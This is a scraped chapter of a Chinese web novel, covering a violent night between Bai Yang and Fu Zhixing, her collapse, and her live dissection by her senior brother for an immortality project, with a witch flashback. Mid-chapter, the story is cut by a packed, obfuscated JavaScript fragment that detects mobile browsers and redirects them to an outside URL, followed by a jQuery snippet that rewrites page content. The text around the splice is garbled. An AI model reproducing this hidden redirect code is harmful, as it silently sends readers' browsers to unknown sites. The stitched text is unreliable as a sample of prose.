27. chapter 27

作品:《病态相依GB

    那晚荒唐,傅之行的皮带被拽开,隔天起来,他后面都是痛的。


    形式是与第一次一样的,只不过感觉又是不一样的。


    她说他贱,他想反驳,可潮来思绪被淹没,剩下的只是羞愤和隐秘的快感。


    潮退潮落,心情起起伏伏,最终归于疲惫。


    次日的阳光扰人清梦,傅之行醒来,之间有人站在阴影里,白嫩的皮肤红了一片,横在身上。


    白羊气上头,忘记拉窗帘,早上被阳光灼了半边身子。


    因为没穿衣服,这次的烧灼格外持久。


    “起了就快滚。”


    傅之行看着她,她现在穿了衣服,但露在外边的皮肤遮不住。


    “你的身上怎么回事?为什么会这样?”


    傅之行这边也不遑多让,皮带抽在身上,一片一片的红。


    白羊瞥了他一眼。


    “跟你没关系。”


    床头吵架床尾和的事不会发生在白羊身上,她只是想不到该用什么样的方式教训傅之行。


    于是事后依旧是一副兴致不高的样子。


    傅之行却以为自己被原谅了,屁颠屁颠出去买了早餐。


    纵使动一下身上都疼。


    白羊对此爱答不理。


    这样的事之后她还在思考道德和哲学。


    冤有头债有主,她报仇该去找傅之行他爹,感情的事讨论从前没什么用,而且他们也回不去了。


    他们立场不同,横在中间的因素太多了。


    他们都放弃了很多,可是,得到的结果还是不尽人意。


    傅之行买了包子回来,白羊也实在饿得眼晕,抓起包子吃,刚囫囵咽下肚,又胃里翻涌。


    她冲到卫生间就是一阵吐,最后直接吐到脱力。


    傅之行在一旁看着她的狼狈态,那关切的样子不像是作假。


    “你到底怎么了?要我送你去医院吗?”


    白羊实在没力气说话。


    自从活了过来,这个世界好像格外排斥她,食物的气息充斥在周围,不是人们吃的东西,而是周围的人。


    有时候她自己都想着干脆放弃吧,再这么活下去迟早得疯。


    但她又舍不得自己爱的人和爱自己的人。


    道德感让她高高挂起,生不出一丝害人之心,自尊心又让她自立自强不想依靠别人一丝一毫。


    就这样白羊坚持了一年又一年,


    爱情,自由,诺言。


    爱情变化莫测伤人心,自由捉摸不透不可量,白羊只守诺言,因为她从不轻易许诺。


    记得与师兄的诺言,记得与傅之行的诺言,也记得与尤里的诺言。


    “白依依……白依依!”


    “……”


    “……你别吵了,我有点想吐。”


    白羊趴在洗手台,胳膊撑着台面,脸上煞白煞白的,她看着镜子里的自己,都有些认不出自己来了。


    或许是被晒了,突然有点不适应。


    又或许是女巫的诅咒到了保质期,亡灵终归黄泉。


    “听说你爸爸醒了?”


    “你先别说话……我带你去找医生……”


    新京的太子爷也会哭吗?他在难过什么?


    “我现在的样子很难看吗?为什么你的表情那么难看?”


    “你别说话,我带你去看医生。”


    傅之行的声音在抖。


    白羊要强了这么多年,她没想到自己也会说出“怕”字。


    “能不能这一下阳光,晒得太疼了……”


    傅之行突然很慌,仿佛又回到了白羊死的那一天,看着她的气息越来越弱,自己却无能为力。


    他扯了床单罩住人往医院送。


    这么要强的人抱起来很轻,这让傅之行想到了当年他抱着的骨灰盒。


    虽然那里面装的不是她的骨灰。


    傅之行打车把人送进了急诊。


    这一幕似曾相识,他拉着人的手不松开,就好像一松开就再也见不到了。


    是啊,这一幕太像了,就好像白羊现在清醒着就能得知当年的真相。


    白羊也确实醒着,抽血化验,各种监测仪器。


    明明她只是脸色白了点,人就被推进了ICU那边,然后一针下去她闭上了眼睛。


    她还有意识,只不过,她觉得,为了少扎一针,她还是闭上眼睛吧。


    因为这样的麻痹感似曾相识,跟当初被捅是一样的感觉,只不过这次的症状似乎弱了很多。


    她没被推进重症监护室,反而从后门离开上了车,然后进了一家研究所。


    想着或许要死翘翘,白羊还是睁开眼打了个招呼。


    “hi,师兄。”


    实验台的灯光晃眼,在她打过招呼后,她面前的手术刀顿了一下。


    “嗯。”


    师兄的回应很轻。


    像是为了照顾她的眼睛,师兄将灯调暗了。


    他们两人谁都没有说话,白羊觉得身上凉,问了个问题。


    “师兄,你扒我衣服?”


    师兄戴着口罩和护目镜,全身裹得严实。


    他没回答这个无关紧要的话题,而是抛给对方另一个问题:“什么时候知道的?”


    “医闹那天刀捅过来的时候,上面的药很熟悉,进入血液循环会迅速麻痹大脑,是个很好的麻醉剂,我记得师兄的这项研究上过学术报。”


    师兄的目光落下来,逆光的原因,白羊看不清他眼中的神情。


    “你早就知道还回来?”


    白羊也轻轻“嗯”了一下。


    她口吻轻松:“我不回来师兄的研究不就白费了?”


    师兄沉默,白羊却有很多话要说。


    “师兄,你在研究永生项目吗?真的能让人永生吗?”


    “我活过来不是因为女巫的巫术吗?”


    “你是要解剖我吗?其他样本保存了吗?”


    “……”


    研究会继续进行的,师兄也有很多问题想问。


    “你不恨我?”


    “无亲无朋,无牵无挂的,知道你们也不喜欢我,那我也不难过。”


    像是赌气的孩子说的话。


    “你还有什么没完成的心愿吗?”


    “没有。”


    之后又是一阵沉默。


    白羊闭了会儿眼睛。


    “社会上只是死了一个无关紧要的人,医学界乃至整个人类社会都会迎来重大变革。”


    师兄还是没有动刀,也不知道在想些什么。


    “我听不出你是在阴阳怪气还是在安慰我。”


    “当然是在安慰师兄。”


    白羊的表情很平静,没有怨怼,也没有不甘。


    她忽然想到了一个问题。


    “师兄,比起安,我是不是更有用啊?”


    安·修斯,尤里的亲生父亲,被女巫复活的人,也是永生研究的实验体。


    可与白羊相比,被嗜血本能吞噬的安更像只怪物。


    “……你更有用。”


    “那不就对了,我说过会做对师兄有用的人,那么就不会食言。”


    “……”


    “诶,师兄师兄,女巫的诅咒是真的吗?”


    “嗯,她们是这个世界最后一个拥有神奇能力的物种,听说她们的心像宝石。”


    白羊静静听着,她想到师兄用奇怪的材料给她做饭,竟然真的做出了能吃的饭。


    她很早就开始怀疑师兄了,只是怕自己连最后一个亲人都失去,所以才没有下结论,她甚至怀疑是师兄的研究成功被人拿去抹刀上捅了她。


    可回国后的一切都昭示着师兄也参与了她的死亡。


    手术刀太锋利,划开皮肤很疼,解剖可是要把所有部件都剖出来取材做样本研究……而且手术台好冷啊。


    “师兄,麻药加大点剂量,我怕疼,也怕冷。”


    “……好。”


    再次注射过麻醉剂后,实验台上的女人像是睡着了般。


    探照灯再次亮起,仿佛人类光明的未来。


    师兄的手术刀落下,刀尖的亮光仿佛落在了另一个时空的夜晚。


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17104127|195031||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >女巫点了煤油灯,照亮了来客的路。


    师兄抱着骨灰盒,赶了一天一夜飞机,最后又徒步走了十多公里才来到女巫的庄园。


    女巫热情地招待了这位不速之客。


    “亲爱的客人,请问您这次来找我是有什么事?”


    师兄同样用流利的英文回答。


    “奥伦菲尔阁下,我想请您救一个人。”


    女巫将人引进了屋内,她平静地质问:“您为什么觉得我会帮您呢?你们杀死了我的丈夫。”


    师兄回望过去,对上女巫的双眼,他并不畏惧,因为他的内心足够坚定。


    “可您复活了他,不是吗?”


    “哦,那是诅咒,我可怜的丈夫变成不人不鬼的模样,即使我将心脏赠与他,他也依旧压不住嗜血的本能。”


    “我的心脏在他那里,我的力量在消失,我的孩子不得不承担起为他提供食物的责任,您知道的,我的丈夫虽然是你们最好的实验体,可这还是太局限了,他只能靠吸收亲人的血才能存活,即使我用心脏稀释诅咒也没撑多久。”


    师兄没有说话,只是静静听着这位女巫抱怨。


    女巫抱怨着,没一会儿开始歇斯底里。


    “这些事真的太糟糕了!我能接受安的理念,可他却不愿意继续让孩子供养……您能明白吗?我们女巫是不喜欢男孩的,但那是我们的孩子……”


    女巫的歇斯底里没有持续很久,她像是反应过来这里还有人一样。


    她又恢复平静优雅,轻声问:“您刚刚说,您是来做什么的?”


    师兄将骨灰盒放在桌面上。


    “我希望你能让她活过来。”


    女巫不可置信地看着他,那双眼睛仿佛能洞穿他的内心般,也只有在这个时候才能看透这个男人的心。


    “哦,既然选择了这条路,又为什么会难过?你动摇了吗?”


    师兄垂眸,不再让女巫透过他的眼睛窥测他心中的想法。


    “没有。”


    女巫定定盯着他,没过多久,她笑了。


    “我可以答应你,但你要拿什么来换呢?”


    师兄觉得看着女巫,反问她:“我有什么是奥伦菲尔阁下能看得上的吗?”


    男人的眼睛太过纯净,女巫摇摇头。


    “没有,我不喜欢你那颗所谓的科研心,但我可以给你一颗心脏。”


    “您说。”


    师兄的眼神毫无波澜。


    女巫缓缓开口。


    “一颗可以产生爱的心。”


    头一次求女巫帮忙女巫还送东西的。


    但既然是条件,师兄应了下来。


    女巫曾经说过,她不会再复活任何人让永生研究所的人当实验材料,可这次她反悔了。


    因为她觉得那会是一个很有趣的未来。


    从她庄园出去的所有人都会成为永生研究所的实验材料。


    这个男人让她复活的人也一样。


    女巫想,既然师兄想要复活这个人,那么多少对骨灰的主人有一些心思。


    有了她给的心,爱的种子会生根发芽,愧疚也好,别的情绪也罢,最终都会成为爱的养料。


    无论骨灰的主人会有怎样的下场,这个男人都不会好过!


    她要他和自己一样痛苦。


    他会看着所爱之人在自己面前死亡,甚至是他们永生研究所的人亲手杀死的。


    “……”


    所有标本顺利采集完成,除了心脏。


    实验体胸腔中空荡荡的,心脏处只有一块红色宝石。


    师兄想,当时那孩子说谎了。


    他把心脏给了别人。


    女巫的心脏储存着身体主人最后的残念,这样的心脏像宝石,但很脆弱,轻轻一捏就会碎。


    师兄捏碎宝石,里面出现的是一张字条。


    “告诉尤里,我没有食言,他总会比我高,因为我到头来也只是一捧灰。”


    人怎么会没有灰高呢?


    所以,如果真的有那一天,她也照顾不了他了。


    “……”